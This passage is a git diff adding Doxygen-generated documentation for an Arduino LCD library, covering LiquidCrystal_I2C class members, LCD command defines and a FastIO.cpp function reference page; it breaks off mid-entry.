'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '40'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 7; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '7'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 9; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 8; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '9'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '84'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr: I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '98'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + @param cols: the number of columns that the display has + @param rows: the number of rows that the display has + @param charsize: size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '112'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value: Value to send to the LCD. + @result mode: LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a576f1f5813f55f34333d6d7e9fe53ad3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight, this method is not supported by + the I2CLCDextraIO, it needs an extra IO pin to drive the LCD backlight + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9f296e0d26f8b6a4509d8d4b9d738c03'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '132'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight, this method is not supported by + the I2CLCDextraIO, it needs an extra IO pin to drive the LCD backlight + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aebb0b9f000b94cc3ab026e0154d6ecef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '149'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = '_data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a4c63780ceef67e90750d3e4bbdb83402'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'expanderWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = '_data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes to the expansion module. + @discussion Writes a byte to the IO expansion module. This will be applied + to all its outputs. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '167'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af99934fdb39403e02d68981ad8366e6b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '168'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb3edf6c68b018a37293a926c4816127'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rows'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af63a2b732d345d55abfcb83bf962c8d3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightval'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '170'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '171'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '72'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 11; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 10; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '11'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 13; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 12; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '13'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '14'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 14; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '34'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1acc3509bc0442b41e2b816555de473ed2'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_CLEARDISPLAY'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x01 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '53'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a154c86a887633d0f6d9988e4dbb1f419'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_RETURNHOME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '54'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a5597e1d5819ea2f0734ad4313abf6703'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_ENTRYMODESET'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x04 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; 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+ define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '41'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1ab5ef25ebfe582f7bf0d93e2770548e2c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'En'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B01000000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '54'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @warning These definitions will have to be changed should the IOExpander be + connected differently to this default. + + + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a98b6a2661a04ebbc1b3f38da70306814'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'Rw'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B00100000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '61'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8h_1a345d1a871beb9e772c3bf9ef75412bb5'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'Rs'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +B00010000 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + define-mem-desc-line = '68'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html new file mode 100644 index 0000000..06d5bac --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp.html @@ -0,0 +1,549 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Functions
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp File Reference
+
+
+
#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + +

+Functions

int fio_digitalRead (fio_register pinRegister, uint8_t pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
